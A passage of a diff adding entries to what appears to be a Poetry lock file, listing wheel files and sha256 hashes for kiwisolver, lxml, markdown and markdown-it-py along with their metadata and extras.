+ {file = "kiwisolver-1.4.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f8ad8285b01b0d4695102546b342b493b3ccc6781fc28c8c6a1bb63e95d22f09"},
+ {file = "kiwisolver-1.4.4-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8ed58b8acf29798b036d347791141767ccf65eee7f26bde03a71c944449e53de"},
+ {file = "kiwisolver-1.4.4-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a68b62a02953b9841730db7797422f983935aeefceb1679f0fc85cbfbd311c32"},
+ {file = "kiwisolver-1.4.4-cp310-cp310-win32.whl", hash = "sha256:e92a513161077b53447160b9bd8f522edfbed4bd9759e4c18ab05d7ef7e49408"},
+ {file = "kiwisolver-1.4.4-cp310-cp310-win_amd64.whl", hash = "sha256:3fe20f63c9ecee44560d0e7f116b3a747a5d7203376abeea292ab3152334d004"},
+ {file = "kiwisolver-1.4.4-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:e0ea21f66820452a3f5d1655f8704a60d66ba1191359b96541eaf457710a5fc6"},
+ {file = "kiwisolver-1.4.4-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:bc9db8a3efb3e403e4ecc6cd9489ea2bac94244f80c78e27c31dcc00d2790ac2"},
+ {file = "kiwisolver-1.4.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:d5b61785a9ce44e5a4b880272baa7cf6c8f48a5180c3e81c59553ba0cb0821ca"},
+ {file = "kiwisolver-1.4.4-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c2dbb44c3f7e6c4d3487b31037b1bdbf424d97687c1747ce4ff2895795c9bf69"},
+ {file = "kiwisolver-1.4.4-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6295ecd49304dcf3bfbfa45d9a081c96509e95f4b9d0eb7ee4ec0530c4a96514"},
+ {file = "kiwisolver-1.4.4-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4bd472dbe5e136f96a4b18f295d159d7f26fd399136f5b17b08c4e5f498cd494"},
+ {file = "kiwisolver-1.4.4-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:bf7d9fce9bcc4752ca4a1b80aabd38f6d19009ea5cbda0e0856983cf6d0023f5"},
+ {file = "kiwisolver-1.4.4-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:78d6601aed50c74e0ef02f4204da1816147a6d3fbdc8b3872d263338a9052c51"},
+ {file = "kiwisolver-1.4.4-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:877272cf6b4b7e94c9614f9b10140e198d2186363728ed0f701c6eee1baec1da"},
+ {file = "kiwisolver-1.4.4-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:db608a6757adabb32f1cfe6066e39b3706d8c3aa69bbc353a5b61edad36a5cb4"},
+ {file = "kiwisolver-1.4.4-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:5853eb494c71e267912275e5586fe281444eb5e722de4e131cddf9d442615626"},
+ {file = "kiwisolver-1.4.4-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:f0a1dbdb5ecbef0d34eb77e56fcb3e95bbd7e50835d9782a45df81cc46949750"},
+ {file = "kiwisolver-1.4.4-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:283dffbf061a4ec60391d51e6155e372a1f7a4f5b15d59c8505339454f8989e4"},
+ {file = "kiwisolver-1.4.4-cp311-cp311-win32.whl", hash = "sha256:d06adcfa62a4431d404c31216f0f8ac97397d799cd53800e9d3efc2fbb3cf14e"},
+ {file = "kiwisolver-1.4.4-cp311-cp311-win_amd64.whl", hash = "sha256:e7da3fec7408813a7cebc9e4ec55afed2d0fd65c4754bc376bf03498d4e92686"},
+ {file = "kiwisolver-1.4.4-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:62ac9cc684da4cf1778d07a89bf5f81b35834cb96ca523d3a7fb32509380cbf6"},
+ {file = "kiwisolver-1.4.4-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:41dae968a94b1ef1897cb322b39360a0812661dba7c682aa45098eb8e193dbdf"},
+ {file = "kiwisolver-1.4.4-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:02f79693ec433cb4b5f51694e8477ae83b3205768a6fb48ffba60549080e295b"},
+ {file = "kiwisolver-1.4.4-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d0611a0a2a518464c05ddd5a3a1a0e856ccc10e67079bb17f265ad19ab3c7597"},
+ {file = "kiwisolver-1.4.4-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:db5283d90da4174865d520e7366801a93777201e91e79bacbac6e6927cbceede"},
+ {file = "kiwisolver-1.4.4-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:1041feb4cda8708ce73bb4dcb9ce1ccf49d553bf87c3954bdfa46f0c3f77252c"},
+ {file = "kiwisolver-1.4.4-cp37-cp37m-win32.whl", hash = "sha256:a553dadda40fef6bfa1456dc4be49b113aa92c2a9a9e8711e955618cd69622e3"},
+ {file = "kiwisolver-1.4.4-cp37-cp37m-win_amd64.whl", hash = "sha256:03baab2d6b4a54ddbb43bba1a3a2d1627e82d205c5cf8f4c924dc49284b87166"},
+ {file = "kiwisolver-1.4.4-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:841293b17ad704d70c578f1f0013c890e219952169ce8a24ebc063eecf775454"},
+ {file = "kiwisolver-1.4.4-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:f4f270de01dd3e129a72efad823da90cc4d6aafb64c410c9033aba70db9f1ff0"},
+ {file = "kiwisolver-1.4.4-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:f9f39e2f049db33a908319cf46624a569b36983c7c78318e9726a4cb8923b26c"},
+ {file = "kiwisolver-1.4.4-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c97528e64cb9ebeff9701e7938653a9951922f2a38bd847787d4a8e498cc83ae"},
+ {file = "kiwisolver-1.4.4-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1d1573129aa0fd901076e2bfb4275a35f5b7aa60fbfb984499d661ec950320b0"},
+ {file = "kiwisolver-1.4.4-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:ad881edc7ccb9d65b0224f4e4d05a1e85cf62d73aab798943df6d48ab0cd79a1"},
+ {file = "kiwisolver-1.4.4-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:b428ef021242344340460fa4c9185d0b1f66fbdbfecc6c63eff4b7c29fad429d"},
+ {file = "kiwisolver-1.4.4-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:2e407cb4bd5a13984a6c2c0fe1845e4e41e96f183e5e5cd4d77a857d9693494c"},
+ {file = "kiwisolver-1.4.4-cp38-cp38-win32.whl", hash = "sha256:75facbe9606748f43428fc91a43edb46c7ff68889b91fa31f53b58894503a191"},
+ {file = "kiwisolver-1.4.4-cp38-cp38-win_amd64.whl", hash = "sha256:5bce61af018b0cb2055e0e72e7d65290d822d3feee430b7b8203d8a855e78766"},
+ {file = "kiwisolver-1.4.4-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:8c808594c88a025d4e322d5bb549282c93c8e1ba71b790f539567932722d7bd8"},
+ {file = "kiwisolver-1.4.4-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:f0a71d85ecdd570ded8ac3d1c0f480842f49a40beb423bb8014539a9f32a5897"},
+ {file = "kiwisolver-1.4.4-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:b533558eae785e33e8c148a8d9921692a9fe5aa516efbdff8606e7d87b9d5824"},
+ {file = "kiwisolver-1.4.4-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:efda5fc8cc1c61e4f639b8067d118e742b812c930f708e6667a5ce0d13499e29"},
+ {file = "kiwisolver-1.4.4-cp39-cp39-manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:7c43e1e1206cd421cd92e6b3280d4385d41d7166b3ed577ac20444b6995a445f"},
+ {file = "kiwisolver-1.4.4-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bc8d3bd6c72b2dd9decf16ce70e20abcb3274ba01b4e1c96031e0c4067d1e7cd"},
+ {file = "kiwisolver-1.4.4-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4ea39b0ccc4f5d803e3337dd46bcce60b702be4d86fd0b3d7531ef10fd99a1ac"},
+ {file = "kiwisolver-1.4.4-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:968f44fdbf6dd757d12920d63b566eeb4d5b395fd2d00d29d7ef00a00582aac9"},
+ {file = "kiwisolver-1.4.4-cp39-cp39-win32.whl", hash = "sha256:da7e547706e69e45d95e116e6939488d62174e033b763ab1496b4c29b76fabea"},
+ {file = "kiwisolver-1.4.4-cp39-cp39-win_amd64.whl", hash = "sha256:ba59c92039ec0a66103b1d5fe588fa546373587a7d68f5c96f743c3396afc04b"},
+ {file = "kiwisolver-1.4.4-pp37-pypy37_pp73-manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:91672bacaa030f92fc2f43b620d7b337fd9a5af28b0d6ed3f77afc43c4a64b5a"},
+ {file = "kiwisolver-1.4.4-pp37-pypy37_pp73-manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:787518a6789009c159453da4d6b683f468ef7a65bbde796bcea803ccf191058d"},
+ {file = "kiwisolver-1.4.4-pp37-pypy37_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:da152d8cdcab0e56e4f45eb08b9aea6455845ec83172092f09b0e077ece2cf7a"},
+ {file = "kiwisolver-1.4.4-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:ecb1fa0db7bf4cff9dac752abb19505a233c7f16684c5826d1f11ebd9472b871"},
+ {file = "kiwisolver-1.4.4-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:28bc5b299f48150b5f822ce68624e445040595a4ac3d59251703779836eceff9"},
+ {file = "kiwisolver-1.4.4-pp38-pypy38_pp73-manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:81e38381b782cc7e1e46c4e14cd997ee6040768101aefc8fa3c24a4cc58e98f8"},
+ {file = "kiwisolver-1.4.4-pp38-pypy38_pp73-manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:2a66fdfb34e05b705620dd567f5a03f239a088d5a3f321e7b6ac3239d22aa286"},
+ {file = "kiwisolver-1.4.4-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:872b8ca05c40d309ed13eb2e582cab0c5a05e81e987ab9c521bf05ad1d5cf5cb"},
+ {file = "kiwisolver-1.4.4-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:70e7c2e7b750585569564e2e5ca9845acfaa5da56ac46df68414f29fea97be9f"},
+ {file = "kiwisolver-1.4.4-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:9f85003f5dfa867e86d53fac6f7e6f30c045673fa27b603c397753bebadc3008"},
+ {file = "kiwisolver-1.4.4-pp39-pypy39_pp73-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2e307eb9bd99801f82789b44bb45e9f541961831c7311521b13a6c85afc09767"},
+ {file = "kiwisolver-1.4.4-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b1792d939ec70abe76f5054d3f36ed5656021dcad1322d1cc996d4e54165cef9"},
+ {file = "kiwisolver-1.4.4-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f6cb459eea32a4e2cf18ba5fcece2dbdf496384413bc1bae15583f19e567f3b2"},
+ {file = "kiwisolver-1.4.4-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:36dafec3d6d6088d34e2de6b85f9d8e2324eb734162fba59d2ba9ed7a2043d5b"},
+ {file = "kiwisolver-1.4.4.tar.gz", hash = "sha256:d41997519fcba4a1e46eb4a2fe31bc12f0ff957b2b81bac28db24744f333e955"},
+]
+
+[[package]]
+name = "lxml"
+version = "4.9.2"
+description = "Powerful and Pythonic XML processing library combining libxml2/libxslt with the ElementTree API."
+category = "main"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, != 3.4.*"
+files = [
+ {file = "lxml-4.9.2-cp27-cp27m-macosx_10_15_x86_64.whl", hash = "sha256:76cf573e5a365e790396a5cc2b909812633409306c6531a6877c59061e42c4f2"},
+ {file = "lxml-4.9.2-cp27-cp27m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:b1f42b6921d0e81b1bcb5e395bc091a70f41c4d4e55ba99c6da2b31626c44892"},
+ {file = "lxml-4.9.2-cp27-cp27m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:9f102706d0ca011de571de32c3247c6476b55bb6bc65a20f682f000b07a4852a"},
+ {file = "lxml-4.9.2-cp27-cp27m-win32.whl", hash = "sha256:8d0b4612b66ff5d62d03bcaa043bb018f74dfea51184e53f067e6fdcba4bd8de"},
+ {file = "lxml-4.9.2-cp27-cp27m-win_amd64.whl", hash = "sha256:4c8f293f14abc8fd3e8e01c5bd86e6ed0b6ef71936ded5bf10fe7a5efefbaca3"},
+ {file = "lxml-4.9.2-cp27-cp27mu-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:2899456259589aa38bfb018c364d6ae7b53c5c22d8e27d0ec7609c2a1ff78b50"},
+ {file = "lxml-4.9.2-cp27-cp27mu-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:6749649eecd6a9871cae297bffa4ee76f90b4504a2a2ab528d9ebe912b101975"},
+ {file = "lxml-4.9.2-cp310-cp310-macosx_10_15_x86_64.whl", hash = "sha256:a08cff61517ee26cb56f1e949cca38caabe9ea9fbb4b1e10a805dc39844b7d5c"},
+ {file = "lxml-4.9.2-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:85cabf64adec449132e55616e7ca3e1000ab449d1d0f9d7f83146ed5bdcb6d8a"},
+ {file = "lxml-4.9.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_24_aarch64.whl", hash = "sha256:8340225bd5e7a701c0fa98284c849c9b9fc9238abf53a0ebd90900f25d39a4e4"},
+ {file = "lxml-4.9.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:1ab8f1f932e8f82355e75dda5413a57612c6ea448069d4fb2e217e9a4bed13d4"},
+ {file = "lxml-4.9.2-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:699a9af7dffaf67deeae27b2112aa06b41c370d5e7633e0ee0aea2e0b6c211f7"},
+ {file = "lxml-4.9.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:b9cc34af337a97d470040f99ba4282f6e6bac88407d021688a5d585e44a23184"},
+ {file = "lxml-4.9.2-cp310-cp310-win32.whl", hash = "sha256:d02a5399126a53492415d4906ab0ad0375a5456cc05c3fc0fc4ca11771745cda"},
+ {file = "lxml-4.9.2-cp310-cp310-win_amd64.whl", hash = "sha256:a38486985ca49cfa574a507e7a2215c0c780fd1778bb6290c21193b7211702ab"},
+ {file = "lxml-4.9.2-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:c83203addf554215463b59f6399835201999b5e48019dc17f182ed5ad87205c9"},
+ {file = "lxml-4.9.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_24_aarch64.whl", hash = "sha256:2a87fa548561d2f4643c99cd13131acb607ddabb70682dcf1dff5f71f781a4bf"},
+ {file = "lxml-4.9.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:d6b430a9938a5a5d85fc107d852262ddcd48602c120e3dbb02137c83d212b380"},
+ {file = "lxml-4.9.2-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:3efea981d956a6f7173b4659849f55081867cf897e719f57383698af6f618a92"},
+ {file = "lxml-4.9.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:df0623dcf9668ad0445e0558a21211d4e9a149ea8f5666917c8eeec515f0a6d1"},
+ {file = "lxml-4.9.2-cp311-cp311-win32.whl", hash = "sha256:da248f93f0418a9e9d94b0080d7ebc407a9a5e6d0b57bb30db9b5cc28de1ad33"},
+ {file = "lxml-4.9.2-cp311-cp311-win_amd64.whl", hash = "sha256:3818b8e2c4b5148567e1b09ce739006acfaa44ce3156f8cbbc11062994b8e8dd"},
+ {file = "lxml-4.9.2-cp35-cp35m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:ca989b91cf3a3ba28930a9fc1e9aeafc2a395448641df1f387a2d394638943b0"},
+ {file = "lxml-4.9.2-cp35-cp35m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:822068f85e12a6e292803e112ab876bc03ed1f03dddb80154c395f891ca6b31e"},
+ {file = "lxml-4.9.2-cp35-cp35m-win32.whl", hash = "sha256:be7292c55101e22f2a3d4d8913944cbea71eea90792bf914add27454a13905df"},
+ {file = "lxml-4.9.2-cp35-cp35m-win_amd64.whl", hash = "sha256:998c7c41910666d2976928c38ea96a70d1aa43be6fe502f21a651e17483a43c5"},
+ {file = "lxml-4.9.2-cp36-cp36m-macosx_10_15_x86_64.whl", hash = "sha256:b26a29f0b7fc6f0897f043ca366142d2b609dc60756ee6e4e90b5f762c6adc53"},
+ {file = "lxml-4.9.2-cp36-cp36m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:ab323679b8b3030000f2be63e22cdeea5b47ee0abd2d6a1dc0c8103ddaa56cd7"},
+ {file = "lxml-4.9.2-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:689bb688a1db722485e4610a503e3e9210dcc20c520b45ac8f7533c837be76fe"},
+ {file = "lxml-4.9.2-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:f49e52d174375a7def9915c9f06ec4e569d235ad428f70751765f48d5926678c"},
+ {file = "lxml-4.9.2-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:36c3c175d34652a35475a73762b545f4527aec044910a651d2bf50de9c3352b1"},
+ {file = "lxml-4.9.2-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:a35f8b7fa99f90dd2f5dc5a9fa12332642f087a7641289ca6c40d6e1a2637d8e"},
+ {file = "lxml-4.9.2-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:58bfa3aa19ca4c0f28c5dde0ff56c520fbac6f0daf4fac66ed4c8d2fb7f22e74"},
+ {file = "lxml-4.9.2-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:bc718cd47b765e790eecb74d044cc8d37d58562f6c314ee9484df26276d36a38"},
+ {file = "lxml-4.9.2-cp36-cp36m-win32.whl", hash = "sha256:d5bf6545cd27aaa8a13033ce56354ed9e25ab0e4ac3b5392b763d8d04b08e0c5"},
+ {file = "lxml-4.9.2-cp36-cp36m-win_amd64.whl", hash = "sha256:3ab9fa9d6dc2a7f29d7affdf3edebf6ece6fb28a6d80b14c3b2fb9d39b9322c3"},
+ {file = "lxml-4.9.2-cp37-cp37m-macosx_10_15_x86_64.whl", hash = "sha256:05ca3f6abf5cf78fe053da9b1166e062ade3fa5d4f92b4ed688127ea7d7b1d03"},
+ {file = "lxml-4.9.2-cp37-cp37m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:a5da296eb617d18e497bcf0a5c528f5d3b18dadb3619fbdadf4ed2356ef8d941"},
+ {file = "lxml-4.9.2-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_24_aarch64.whl", hash = "sha256:04876580c050a8c5341d706dd464ff04fd597095cc8c023252566a8826505726"},
+ {file = "lxml-4.9.2-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:c9ec3eaf616d67db0764b3bb983962b4f385a1f08304fd30c7283954e6a7869b"},
+ {file = "lxml-4.9.2-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:2a29ba94d065945944016b6b74e538bdb1751a1db6ffb80c9d3c2e40d6fa9894"},
+ {file = "lxml-4.9.2-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:a82d05da00a58b8e4c0008edbc8a4b6ec5a4bc1e2ee0fb6ed157cf634ed7fa45"},
+ {file = "lxml-4.9.2-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:223f4232855ade399bd409331e6ca70fb5578efef22cf4069a6090acc0f53c0e"},
+ {file = "lxml-4.9.2-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:d17bc7c2ccf49c478c5bdd447594e82692c74222698cfc9b5daae7ae7e90743b"},
+ {file = "lxml-4.9.2-cp37-cp37m-win32.whl", hash = "sha256:b64d891da92e232c36976c80ed7ebb383e3f148489796d8d31a5b6a677825efe"},
+ {file = "lxml-4.9.2-cp37-cp37m-win_amd64.whl", hash = "sha256:a0a336d6d3e8b234a3aae3c674873d8f0e720b76bc1d9416866c41cd9500ffb9"},
+ {file = "lxml-4.9.2-cp38-cp38-macosx_10_15_x86_64.whl", hash = "sha256:da4dd7c9c50c059aba52b3524f84d7de956f7fef88f0bafcf4ad7dde94a064e8"},
+ {file = "lxml-4.9.2-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:821b7f59b99551c69c85a6039c65b75f5683bdc63270fec660f75da67469ca24"},
+ {file = "lxml-4.9.2-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_24_aarch64.whl", hash = "sha256:e5168986b90a8d1f2f9dc1b841467c74221bd752537b99761a93d2d981e04889"},
+ {file = "lxml-4.9.2-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:8e20cb5a47247e383cf4ff523205060991021233ebd6f924bca927fcf25cf86f"},
+ {file = "lxml-4.9.2-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:13598ecfbd2e86ea7ae45ec28a2a54fb87ee9b9fdb0f6d343297d8e548392c03"},
+ {file = "lxml-4.9.2-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:880bbbcbe2fca64e2f4d8e04db47bcdf504936fa2b33933efd945e1b429bea8c"},
+ {file = "lxml-4.9.2-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:7d2278d59425777cfcb19735018d897ca8303abe67cc735f9f97177ceff8027f"},
+ {file = "lxml-4.9.2-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:5344a43228767f53a9df6e5b253f8cdca7dfc7b7aeae52551958192f56d98457"},
+ {file = "lxml-4.9.2-cp38-cp38-win32.whl", hash = "sha256:925073b2fe14ab9b87e73f9a5fde6ce6392da430f3004d8b72cc86f746f5163b"},
+ {file = "lxml-4.9.2-cp38-cp38-win_amd64.whl", hash = "sha256:9b22c5c66f67ae00c0199f6055705bc3eb3fcb08d03d2ec4059a2b1b25ed48d7"},
+ {file = "lxml-4.9.2-cp39-cp39-macosx_10_15_x86_64.whl", hash = "sha256:5f50a1c177e2fa3ee0667a5ab79fdc6b23086bc8b589d90b93b4bd17eb0e64d1"},
+ {file = "lxml-4.9.2-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:090c6543d3696cbe15b4ac6e175e576bcc3f1ccfbba970061b7300b0c15a2140"},
+ {file = "lxml-4.9.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_24_aarch64.whl", hash = "sha256:63da2ccc0857c311d764e7d3d90f429c252e83b52d1f8f1d1fe55be26827d1f4"},
+ {file = "lxml-4.9.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:5b4545b8a40478183ac06c073e81a5ce4cf01bf1734962577cf2bb569a5b3bbf"},
+ {file = "lxml-4.9.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:2e430cd2824f05f2d4f687701144556646bae8f249fd60aa1e4c768ba7018947"},
+ {file = "lxml-4.9.2-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:6804daeb7ef69e7b36f76caddb85cccd63d0c56dedb47555d2fc969e2af6a1a5"},
+ {file = "lxml-4.9.2-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:a6e441a86553c310258aca15d1c05903aaf4965b23f3bc2d55f200804e005ee5"},
+ {file = "lxml-4.9.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:ca34efc80a29351897e18888c71c6aca4a359247c87e0b1c7ada14f0ab0c0fb2"},
+ {file = "lxml-4.9.2-cp39-cp39-win32.whl", hash = "sha256:6b418afe5df18233fc6b6093deb82a32895b6bb0b1155c2cdb05203f583053f1"},
+ {file = "lxml-4.9.2-cp39-cp39-win_amd64.whl", hash = "sha256:f1496ea22ca2c830cbcbd473de8f114a320da308438ae65abad6bab7867fe38f"},
+ {file = "lxml-4.9.2-pp37-pypy37_pp73-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:b264171e3143d842ded311b7dccd46ff9ef34247129ff5bf5066123c55c2431c"},
+ {file = "lxml-4.9.2-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:0dc313ef231edf866912e9d8f5a042ddab56c752619e92dfd3a2c277e6a7299a"},
+ {file = "lxml-4.9.2-pp38-pypy38_pp73-macosx_10_15_x86_64.whl", hash = "sha256:16efd54337136e8cd72fb9485c368d91d77a47ee2d42b057564aae201257d419"},
+ {file = "lxml-4.9.2-pp38-pypy38_pp73-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:0f2b1e0d79180f344ff9f321327b005ca043a50ece8713de61d1cb383fb8ac05"},
+ {file = "lxml-4.9.2-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:7b770ed79542ed52c519119473898198761d78beb24b107acf3ad65deae61f1f"},
+ {file = "lxml-4.9.2-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:efa29c2fe6b4fdd32e8ef81c1528506895eca86e1d8c4657fda04c9b3786ddf9"},
+ {file = "lxml-4.9.2-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:7e91ee82f4199af8c43d8158024cbdff3d931df350252288f0d4ce656df7f3b5"},
+ {file = "lxml-4.9.2-pp39-pypy39_pp73-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:b23e19989c355ca854276178a0463951a653309fb8e57ce674497f2d9f208746"},
+ {file = "lxml-4.9.2-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:01d36c05f4afb8f7c20fd9ed5badca32a2029b93b1750f571ccc0b142531caf7"},
+ {file = "lxml-4.9.2-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:7b515674acfdcadb0eb5d00d8a709868173acece5cb0be3dd165950cbfdf5409"},
+ {file = "lxml-4.9.2.tar.gz", hash = "sha256:2455cfaeb7ac70338b3257f41e21f0724f4b5b0c0e7702da67ee6c3640835b67"},
+]
+
+[package.extras]
+cssselect = ["cssselect (>=0.7)"]
+html5 = ["html5lib"]
+htmlsoup = ["BeautifulSoup4"]
+source = ["Cython (>=0.29.7)"]
+
+[[package]]
+name = "markdown"
+version = "3.4.3"
+description = "Python implementation of John Gruber's Markdown."
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "Markdown-3.4.3-py3-none-any.whl", hash = "sha256:065fd4df22da73a625f14890dd77eb8040edcbd68794bcd35943be14490608b2"},
+ {file = "Markdown-3.4.3.tar.gz", hash = "sha256:8bf101198e004dc93e84a12a7395e31aac6a9c9942848ae1d99b9d72cf9b3520"},
+]
+
+[package.extras]
+testing = ["coverage", "pyyaml"]
+
+[[package]]
+name = "markdown-it-py"
+version = "2.2.0"
+description = "Python port of markdown-it. Markdown parsing, done right!"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "markdown-it-py-2.2.0.tar.gz", hash = "sha256:7c9a5e412688bc771c67432cbfebcdd686c93ce6484913dccf06cb5a0bea35a1"},
